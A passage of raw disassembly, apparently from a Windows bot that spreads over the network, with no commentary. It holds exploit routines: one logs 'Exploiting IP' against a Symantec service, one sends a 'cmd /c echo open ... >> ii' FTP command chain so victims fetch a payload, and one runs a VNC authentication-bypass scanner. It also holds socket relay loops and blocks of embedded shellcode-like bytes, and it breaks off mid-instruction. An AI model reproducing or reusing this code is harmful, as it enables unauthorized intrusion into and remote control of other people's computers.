ebx call dword_4CB9EC push edi push 0DEh push offset dword_432DC0 push ebx call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E929 push edi lea eax, [ebp-854h] push esi push eax push ebx call dword_4CB9EC movsx eax, byte ptr [ebp-810h] sub eax, 30h jz short loc_40E933 dec eax jz short loc_40E930 loc_40E929: ; CODE XREF: ___:0040E884j ; ___:0040E89Aj ... xor eax, eax jmp loc_40E9F6 ; --------------------------------------------------------------------------- loc_40E930: ; CODE XREF: ___:0040E927j push edi jmp short loc_40E957 ; --------------------------------------------------------------------------- loc_40E933: ; CODE XREF: ___:0040E924j push 2 push ebx sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_40E3F1 add esp, 0C4h test al, al jnz short loc_40E977 push 1 loc_40E957: ; CODE XREF: ___:0040E931j push ebx lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40E3F1 add esp, 0C4h test al, al jz short loc_40E97E loc_40E977: ; CODE XREF: ___:0040E953j mov dword ptr [ebp-4], 1 loc_40E97E: ; CODE XREF: ___:0040E975j push ebx call dword_4CBA6C cmp dword ptr [ebp-4], 0 jz short loc_40E9F3 lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." lea eax, [ebp-214h] push 200h push eax call sub_41C360 push 0 lea eax, [ebp-214h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409869 lea eax, [ebp-214h] push eax call sub_415D38 mov eax, [ebp+0B0h] add esp, 2Ch shl eax, 6 inc dword_431800[eax] lea eax, dword_431800[eax] loc_40E9F3: ; CODE XREF: ___:0040E989j push 1 pop eax loc_40E9F6: ; CODE XREF: ___:0040E92Bj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E9FB proc near ; CODE XREF: sub_40EAE9+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax nop call near ptr 71AB12F8h push [ebp+arg_BC] mov [ebp+var_C], eax nop call near ptr 71AB1746h push esi push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40EAC9 lea eax, [ebp+var_10] push 10h push eax push ebx nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jz short loc_40EAC9 mov edi, 400h push esi mov esi, dword_4271FC lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_429108 push eax push eax push dword_4CB710 push [ebp+arg_0] call sub_40AA06 pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41C360 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh jnz short loc_40EACD loc_40EAC9: ; CODE XREF: sub_40E9FB+50j ; sub_40E9FB+62j xor eax, eax jmp short loc_40EAE4 ; --------------------------------------------------------------------------- loc_40EACD: ; CODE XREF: sub_40E9FB+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx nop call near ptr 71AB1A6Dh push 1 pop eax loc_40EAE4: ; CODE XREF: sub_40E9FB+D0j pop edi pop esi pop ebx leave retn sub_40E9FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EAE9 proc near ; CODE XREF: sub_40C3E8+1EAp ; DATA XREF: ___:off_4317FCo var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4CBA14 push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4CB9D4 push 6 push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40EB5B lea eax, [ebp+var_10] push 10h push eax push esi nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40EB3C push esi jmp short loc_40EB55 ; --------------------------------------------------------------------------- loc_40EB3C: ; CODE XREF: sub_40EAE9+4Ej push 0 push 1213h push offset dword_433424 push esi call near ptr 71AB1AF4h nop cmp eax, 0FFFFFFFFh push esi jnz short loc_40EB5F loc_40EB55: ; CODE XREF: sub_40EAE9+51j nop call near ptr 71AB1A6Dh loc_40EB5B: ; CODE XREF: sub_40EAE9+3Cj xor eax, eax jmp short loc_40EBA1 ; --------------------------------------------------------------------------- loc_40EB5F: ; CODE XREF: sub_40EAE9+6Aj nop call near ptr 71AB1A6Dh push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40E9FB add esp, 0C0h test eax, eax jz short loc_40EB9E mov eax, [ebp+arg_A8] shl eax, 6 inc dword_431800[eax] lea eax, dword_431800[eax] loc_40EB9E: ; CODE XREF: sub_40EAE9+9Ej push 1 pop eax loc_40EBA1: ; CODE XREF: sub_40EAE9+74j pop edi pop esi leave retn sub_40EAE9 endp ; =============== S U B R O U T I N E ======================================= sub_40EBA5 proc near ; CODE XREF: ___:0040EC93p ; ___:0040ECF5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi loc_40EBAD: ; CODE XREF: sub_40EBA5+2Dj test edi, edi jle short loc_40EBD8 mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_4CB9EC test eax, eax jz short loc_40EBD4 cmp eax, 0FFFFFFFFh jz short loc_40EBD4 sub edi, eax add esi, eax jmp short loc_40EBAD ; --------------------------------------------------------------------------- loc_40EBD4: ; CODE XREF: sub_40EBA5+22j ; sub_40EBA5+27j xor eax, eax jmp short loc_40EBDB ; --------------------------------------------------------------------------- loc_40EBD8: ; CODE XREF: sub_40EBA5+Aj push 1 pop eax loc_40EBDB: ; CODE XREF: sub_40EBA5+31j pop edi pop esi retn sub_40EBA5 endp ; =============== S U B R O U T I N E ======================================= sub_40EBDE proc near ; CODE XREF: ___:0040ECDFp ; ___:0040ED0Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40EC1B xor esi, esi test edi, edi jle short loc_40EC15 loc_40EBEE: ; CODE XREF: sub_40EBDE+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40EC1B test eax, eax jz short loc_40EC1B add esi, eax cmp esi, edi jl short loc_40EBEE loc_40EC15: ; CODE XREF: sub_40EBDE+Ej push 1 pop eax loc_40EC18: ; CODE XREF: sub_40EBDE+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40EC1B: ; CODE XREF: sub_40EBDE+8j ; sub_40EBDE+2Bj ... xor eax, eax jmp short loc_40EC18 sub_40EBDE endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_4346DC push esi push edi push 0 push 1 push 2 mov [ebp-2], ax pop esi push esi call dword_4CBA54 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40EC4D push eax jmp short loc_40EC81 ; --------------------------------------------------------------------------- loc_40EC4D: ; CODE XREF: ___:0040EC48j lea eax, [ebp+0Ch] push eax call dword_4CBA14 push dword ptr [ebp+0A8h] mov [ebp-48h], eax mov [ebp-4Ch], si call dword_4CB9D4 mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push ebx call dword_4CB97C cmp eax, 0FFFFFFFFh jnz short loc_40EC8C push ebx loc_40EC81: ; CODE XREF: ___:0040EC4Bj call dword_4CBA6C jmp loc_40EE87 ; --------------------------------------------------------------------------- loc_40EC8C: ; CODE XREF: ___:0040EC7Ej lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40EBA5 add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-20h] and byte ptr [ebp-2Ch], 0 push eax lea eax, [ebp-28h] push eax lea eax, [ebp-38h] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax call sub_41CCE3 add esp, 10h cmp eax, esi jnz loc_40EE80 cmp dword ptr [ebp-28h], 3 jz short loc_40ECD8 cmp dword ptr [ebp-20h], 8 jnz loc_40EE80 loc_40ECD8: ; CODE XREF: ___:0040ECCCj lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40EBDE add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-3Ch] push esi push eax push ebx call sub_40EBA5 add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-2] push 1 push eax push ebx call sub_40EBDE add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-24h] push 4 push eax push ebx call sub_40EBA5 add esp, 0Ch test eax, eax jz loc_40EE80 mov eax, [ebp-24h] mov edi, 0FF0000h mov ecx, eax mov edx, eax and ecx, edi mov esi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, esi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp-24h], ecx jnz loc_40EE80 push 1 push offset word_4CB88C push ebx call sub_40EBDE add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-1Ch] push 18h push eax push ebx call sub_40EBA5 add esp, 0Ch test eax, eax jz loc_40EE80 xor eax, eax mov ecx, [ebp-8] mov al, [ebp-1Bh] mov edx, ecx mov ah, [ebp-1Ch] mov [ebp-1Ch], ax xor eax, eax mov al, [ebp-19h] mov ah, [ebp-1Ah] mov [ebp-1Ah], ax xor eax, eax mov al, [ebp-13h] mov ah, [ebp-14h] mov [ebp-14h], ax xor eax, eax mov al, [ebp-11h] mov ah, [ebp-12h] mov [ebp-12h], ax xor eax, eax mov al, [ebp-0Fh] mov ah, [ebp-10h] mov [ebp-10h], ax mov eax, ecx and eax, edi shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, esi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp-8], eax add eax, 2 push eax call sub_41D9A5 mov edi, [ebp-8] pop ecx test edi, edi mov esi, eax jle short loc_40EE10 push edi push esi push ebx call sub_40EBA5 add esp, 0Ch loc_40EE10: ; CODE XREF: ___:0040EE03j and byte ptr [edi+esi], 0 lea eax, [ebp+0Ch] push eax push esi push dword ptr [ebp-20h] lea eax, [ebp-24Ch] push dword ptr [ebp-28h] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h push eax call sub_41C360 push 0 lea eax, [ebp-24Ch] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409869 lea eax, [ebp-24Ch] push eax call sub_415D38 mov eax, [ebp+0B0h] add esp, 34h shl eax, 6 inc dword_431800[eax] push ebx lea eax, dword_431800[eax] call near ptr 71AB1A6Dh nop push 1 pop eax jmp short loc_40EE89 ; --------------------------------------------------------------------------- loc_40EE80: ; CODE XREF: ___:0040EC9Dj ; ___:0040ECC2j ... push ebx call near ptr 71AB1A6Dh nop loc_40EE87: ; CODE XREF: ___:0040EC87j xor eax, eax loc_40EE89: ; CODE XREF: ___:0040EE7Ej pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40EE97: ; CODE XREF: ___:0040EEB3j ; ___:0040EECFj push 0 lea eax, [ebp-404h] push 400h push eax push dword_4CE708 call dword_4CB9EC test eax, eax jle short loc_40EE97 lea ecx, [ebp-4] push 0 push ecx push eax lea eax, [ebp-404h] push eax push dword_4CE704 call near ptr 2700000h nop jmp short loc_40EE97 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40EEDA: ; CODE XREF: ___:0040EF00j ; ___:0040EF1Aj lea eax, [ebp-4] and dword ptr [ebp-4], 0 push 0 push eax lea eax, [ebp-404h] push 400h push eax push dword_4CE6F8 nop call near ptr 26F107Dh cmp dword ptr [ebp-4], 0 jle short loc_40EEDA push 0 lea eax, [ebp-404h] push dword ptr [ebp-4] push eax push dword_4CE708 call dword_4CBA24 jmp short loc_40EEDA ; --------------------------------------------------------------------------- dword_40EF1C dd 81EC8B55h, 11CECh, 8458B00h, 6A575653h, 59F08B28h, 0FEE4BD8Dh ; DATA XREF: sub_401ACD+2CCAo dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h dd 21E85057h, 830000D0h, 0C7660CC4h, 2C845h, 0FF68B5FFh dd 15FFFFFFh, 4CB9D4h, 6A56066Ah, 45896602h, 5415FFCAh dd 89004CBAh, 458D0845h, 50106AC8h, 0FF0875FFh, 4CBA0015h dd 0FF056A00h, 15FF0875h, 4CB9FCh, 71081D8Bh, 358B0042h dd 427070h, 75FF5757h, 6815FF08h, 0A3004CBAh, 4CE708h dd 57F4458Dh, 0E7046850h, 68004Ch, 0C7004CE7h, 0CF445h dd 45C70000h, 1FCh, 0F87D8900h, 458DD3FFh, 685057F4h, 4CE6FCh dd 4CE6F868h, 6AD3FF00h, 84458D44h, 85E85057h, 0A10000CFh dd 4CE700h, 890CC483h, 0FCA1BC45h, 89004CE6h, 6A57C045h dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h dd 7D896600h, 89E890B4h, 50023116h, 0E6FC35FFh, 0E890004Ch dd 231167Ch, 0CDE89050h, 8D02310Fh, 8D50D845h, 57508445h dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 4346E068h dd 0E8905700h, 2251B0Fh, 50E8458Dh, 0D1685757h, 8D0040EEh dd 5057F445h, 0F92E890h, 45890227h, 0E8458DECh, 68575750h dd 40EE8Eh, 57F4458Dh, 79E89050h, 6A02270Fh, 0F04589FFh dd 90D875FFh, 281110E8h, 75FF5702h, 46E890F0h, 57022818h dd 90EC75FFh, 28183CE8h, 0F075FF02h, 75FFD6FFh, 57D6FFECh dd 0E8D875FFh, 230195Eh, 35FF90h, 0FF004CE7h, 435FFD6h dd 0FF004CE7h, 0F835FFD6h, 0FF004CE6h, 0FC35FFD6h, 0FF004CE6h dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h dd 0FFFE6800h, 680000h, 0E8000004h, 9AD1h, 0E710A359h dd 0C359004Ch dword_40F108 dd 81EC8B55h, 6C0ECh, 8458B00h, 6A575653h, 59F08B27h, 0FF50BD8Dh ; DATA XREF: sub_40BD91+34Do dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h dd 35E85053h, 830000CEh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh dd 15FFFFFFh, 4CB9D4h, 26A5653h, 0EE458966h, 0FFF05D89h dd 4CBA5415h, 83F88B00h, 0FE3BFFCEh, 5D394575h, 532075E4h dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h dd 0E8FFFFFFh, 0FFFFA6DDh, 8D14C483h, 0FFFD4085h, 9DE850FFh dd 0FF00006Bh, 0FFFF54B5h, 0C530E8FFh, 5959FFFFh, 51E89053h dd 8B022D0Eh, 0FFFF5485h, 69106AFFh, 234C0h, 1CB88900h dd 8D0043E9h, 5750EC45h, 0BA0015FFh, 0C63B004Ch, 400BBh dd 0CF850F00h, 0FF000000h, 4CB96815h, 27403D00h, 47740000h dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh, 858D50E0h dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFA65Dh, 8D14C483h dd 0FFFD4085h, 1DE850FFh, 0FF00006Bh, 0FFFF54B5h, 0C4B0E8FFh dd 5959FFFFh, 0D1E89056h, 68022D0Dh, 0FFFEh, 9997E853h dd 0A3590000h, 4CE710h, 45896659h, 0EC458DEEh, 5750106Ah dd 0BA0015FFh, 0C63B004Ch, 15FF5475h, 4CB968h, 7539F633h dd 3D2775E4h, 2740h, 8D562074h, 0FFFD4085h, 0E075FFFFh dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 0E2E8FFFFh, 83FFFFA5h dd 858D14C4h, 0FFFFFD40h, 6AA2E850h, 0B5FF0000h, 0FFFFFF54h dd 0FFC435E8h, 565959FFh, 0D56E890h, 56A022Dh, 0FC15FF57h dd 3B004CB9h, 0D4840FC6h, 0C7000000h, 10FC45h, 8BE0000h dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4CBA6815h dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h dd 0FFA564E8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 6A24h dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h dd 4CB9ECh, 74FFF883h, 0FF565696h, 4CB71035h, 50B5FF00h dd 0E8FFFFFFh, 0FFFFB6C2h, 0E8685059h, 8D004346h, 0FFF94085h dd 0E85053FFh, 0D008h, 8D1CC483h, 0FFF94085h, 50006AFFh dd 0C657E8h, 8D505900h, 0FFF94085h, 75FF50FFh, 2415FF08h dd 83004CBAh, 840FFFF8h, 0FFFFFF43h, 0E71805FFh, 38E9004Ch dd 57FFFFFFh, 0BA6C15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFC335E8h dd 6A59FFh, 2D0C57E8h db 2, 90h word_40F3AA dw 8B55h ; DATA XREF: sub_40BD91+22Ao dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h, 0A9h, 0BD8DF08Bh dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h dd 16850F6h, 89000001h, 5D89D85Dh, 0E85D89E0h, 0FDD4B589h dd 0B589FFFFh, 0FFFFFBC4h, 4DE0E890h, 5356716Ah, 1FE8026Ah dd 90716A48h, 71DC358Bh, 4D8D0042h, 51046AD8h, 0FFFFBFh dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AE0h, 8B57FB6Ah dd 0FF57F87Dh, 0E8458DD6h, 667E6850h, 0E8578004h, 716A211Eh dd 10A16690h, 83004CB7h, 5000C865h, 0C445C766h, 15FF0002h dd 4CB9D4h, 0C6458966h, 6AC4458Dh, 90575010h, 6A4A69E8h dd 7DC08571h, 0E9C38B07h, 548h, 90570A6Ah, 6A6969E8h, 0D49D8971h dd 8BFFFFFDh, 4272081Dh, 0D8BD8900h, 89FFFFFDh, 416AFC7Dh dd 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh, 0C4858DF6h dd 56FFFFFBh, 8B505656h, 5040FC45h, 23DAE890h, 0F883716Ah dd 0F6840FFFh, 33000004h, 0FC7539FFh, 7C087D89h, 6AF633C5h dd 60858D64h, 56FFFFFDh, 0CA96E850h, 646A0000h, 0FF50858Dh dd 5056FFFFh, 0CA87E8h, 18C48300h, 0FBC4858Dh, 5750FFFFh dd 16E57E8h, 0FC08500h, 4A284h, 0F87D3B00h, 458D7A75h dd 0F045C7F0h, 10h, 0C4858D50h, 50FFFFFDh, 0E8F875FFh dd 716A916Dh, 0FFF88390h, 479840Fh, 0C9330000h, 0FDD4B539h dd 1676FFFFh, 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h dd 0FFFFFDD4h, 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h dd 890D7340h, 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh dd 0FC458903h, 68156A56h, 4349ACh, 0E9D3FF50h, 423h, 60858D56h dd 6AFFFFFDh, 90575064h, 6A60FFE8h, 7FC08571h, 0D4958B52h dd 33FFFFFDh, 76D63BC9h, 0D8858D3Ah, 39FFFFFDh, 410A7438h dd 3B04C083h, 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh dd 4508BFFh, 8B108941h, 0FFFDD495h, 4C083FFh, 72CA3B4Ah dd 0D48DFFECh, 57FFFFFDh, 248BE890h, 0BCE9716Ah, 8D000003h dd 0FFFCC885h, 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh dd 4349A4h, 0D6DDE850h, 858D0000h, 0FFFFFF50h, 43499C68h dd 39E85000h, 830000D4h, 0C08518C4h, 6A560D75h, 49846816h dd 82E90043h, 8D000000h, 0FFFF5085h, 497C68FFh, 0E8500043h dd 0D414h, 59C08559h, 6A560A75h, 49646814h, 61EB0043h dd 0FF50858Dh, 5C68FFFFh, 50004349h, 0D3F3E8h, 0C0855900h dd 560A7559h, 4C680D6Ah, 0EB004349h, 50858D40h, 68FFFFFFh dd 434944h, 0D3D2E850h, 85590000h, 0A7559C0h, 68106A56h dd 434930h, 858D1FEBh, 0FFFFFF50h, 43492C68h, 0B1E85000h dd 590000D3h, 7559C085h, 1E6A560Eh, 43490C68h, 0D9E95700h dd 0BF000002h, 434904h, 0FF50858Dh, 5057FFFFh, 0D38BE8h dd 0C0855900h, 8D247559h, 0FFFCC885h, 490068FFh, 0E8500043h dd 0D374h, 59C08559h, 6A560D75h, 48EC6813h, 9AE90043h dd 8D000002h, 0FFFF5085h, 0E85057FFh, 0D354h, 59C08559h dd 858D2475h, 0FFFFFCC8h, 4348E868h, 3DE85000h, 590000D3h dd 7559C085h, 136A560Dh, 4348D468h, 263E900h, 858D0000h dd 0FFFFFF50h, 4348CC68h, 19E85000h, 590000D3h, 7559C085h dd 0BE0A6A34h, 4348A0h, 0D8BD8D59h, 0F3FFFFFEh, 858D50A5h dd 0FFFFFED8h, 0E8A56650h, 0C264h, 858D5059h, 0FFFFFED8h dd 875FF50h, 0F633D3FFh, 21DE9h, 50858D00h, 68FFFFFFh dd 434898h, 0D2CEE850h, 85590000h, 2A7559C0h, 80BE056Ah dd 59004348h, 0FF38BD8Dh, 0A5F3FFFFh, 8D50A566h, 0FFFF3885h dd 0E8A450FFh, 0C218h, 858D5059h, 0FFFFFF38h, 858DB2EBh dd 0FFFFFF50h, 43487868h, 8DE85000h, 590000D2h, 0F59C085h dd 0B685h, 2C858D00h, 50FFFFFDh, 0FF04858Dh, 8D50FFFFh dd 8D50EC45h, 8D50E445h, 8D50DC45h, 8D50D445h, 0FFFD6085h dd 485068FFh, 0E8500043h, 0D4E7h, 0FF04858Dh, 0E850FFFFh dd 0C951h, 858DF88Bh, 0FFFFFD2Ch, 0C943E850h, 45890000h dd 8D326AF4h, 0FFFF0485h, 0E85056FFh, 0C748h, 8D34C483h dd 0FFFF0485h, 0F475FFFFh, 48486857h, 0E8500043h, 0CA26h dd 858D106Ah, 0FFFFFF04h, 56E85056h, 830000CFh, 45891CC4h dd 0EC458DF4h, 0E4458D50h, 0DC458D50h, 0D4458D50h, 0B4458D50h dd 43483C68h, 0F3E85000h, 830000C9h, 6A5618C4h, 481C681Dh dd 6E90043h, 8D000001h, 0FFFF5085h, 481468FFh, 0E8500043h dd 0D1BCh, 59C08559h, 0CC850Fh, 6A560000h, 47E86828h, 75FF0043h dd 0FFD3FF08h, 458DF475h, 8E850B4h, 59000001h, 5901F883h dd 9E850Fh, 0B5390000h, 0FFFFFBBCh, 8D562375h, 0FFF72085h dd 0B8B5FFFFh, 50FFFFFBh, 0FB38858Dh, 0FF50FFFFh, 0FFF920B5h dd 9F7FE8FFh, 0C483FFFFh, 14AE814h, 0F8830000h, 93850F01h dd 56000000h, 0D068176Ah, 0FF004347h, 0D3FF0875h, 50B4458Dh dd 0F720858Dh, 9868FFFFh, 50004347h, 0C949E8h, 0CC48300h dd 0FBBCB539h, 2375FFFFh, 20858D56h, 0FFFFFFF7h, 0FFFBB8B5h dd 858D50FFh, 0FFFFFB38h, 20B5FF50h, 0E8FFFFF9h, 0FFFF9F21h dd 8D14C483h, 0FFF72085h, 0E1E850FFh, 0FF000063h, 4CE4E005h dd 2EEB5900h, 68206A56h, 434774h, 858D1FEBh, 0FFFFFF50h dd 42CD2068h, 0D5E85000h, 590000D0h, 7559C085h, 1B6A560Dh dd 43475868h, 875FF00h, 646AD3FFh, 0FD60858Dh, 5056FFFFh dd 0C5D3E8h, 87D8B00h, 470CC483h, 89FC7D3Bh, 8E0F087Dh dd 0FFFFFB19h, 0FFFAD9E9h, 58016AFFh, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp-1A0h] push eax push 101h call near ptr 71AB41DAh nop push 0 push 1 push 2 call near ptr 71AB3C22h nop push dword ptr [ebp+8] mov dword_4CE71C, eax mov word ptr [ebp-10h], 2 nop call near ptr 71AB12F8h push dword ptr [ebp+0Ch] mov [ebp-0Ch], eax call near ptr 71AB1746h nop mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push dword_4CE71C call near ptr 71AB3E5Dh nop cmp eax, 0FFFFFFFFh jnz short loc_40FA37 push dword_4CE71C nop call near ptr 71AB1A6Dh call near ptr 71AB1836h nop xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40FA37: ; CODE XREF: ___:0040FA1Fj push 1 pop eax leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp-104h] push 104h push eax push 0 nop call near ptr 2670000h lea eax, [ebp-104h] push offset dword_429068 push eax call sub_41BEA2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40FAD3 test byte ptr [esi+0Ch], 10h jnz short loc_40FAB7 push edi mov edi, 400h loc_40FA7F: ; CODE XREF: ___:0040FAB4j push esi push 1 lea eax, [ebp-504h] push edi push eax call sub_41BAFA add esp, 10h lea eax, [ebp-504h] push 0 push edi push eax push dword_4CE71C call near ptr 71AB1AF4h nop push 1 nop call near ptr 2670E97h test byte ptr [esi+0Ch], 10h jz short loc_40FA7F pop edi loc_40FAB7: ; CODE XREF: ___:0040FA77j push esi call sub_41BA3B pop ecx push dword_4CE71C nop call near ptr 71AB1A6Dh nop call near ptr 71AB1836h push 1 pop eax loc_40FAD3: ; CODE XREF: ___:0040FA71j pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FAD6 proc near ; DATA XREF: sub_401ACD+2229o ; sub_40BD91+475o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41C500 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_41BF70 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_4CB9D4 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4CBA54 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40FEC1 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_43E91C[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_4CBA00 cmp eax, 0FFFFFFFFh jz loc_40FEC1 push 7FFFFFFFh push edi call dword_4CB9FC cmp eax, 0FFFFFFFFh jz loc_40FEC1 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4CBA70 cmp eax, 0FFFFFFFFh jz loc_40FEC1 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40FBAD: ; CODE XREF: sub_40FAD6+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4CB9BC cmp eax, 0FFFFFFFFh jz loc_40FEBC xor esi, esi mov [ebp+var_4], esi loc_40FBE3: ; CODE XREF: sub_40FAD6+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_4CB8C0 test eax, eax jz loc_40FEA7 cmp esi, [ebp+var_C] jnz short loc_40FC65 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4CBA68 cmp eax, 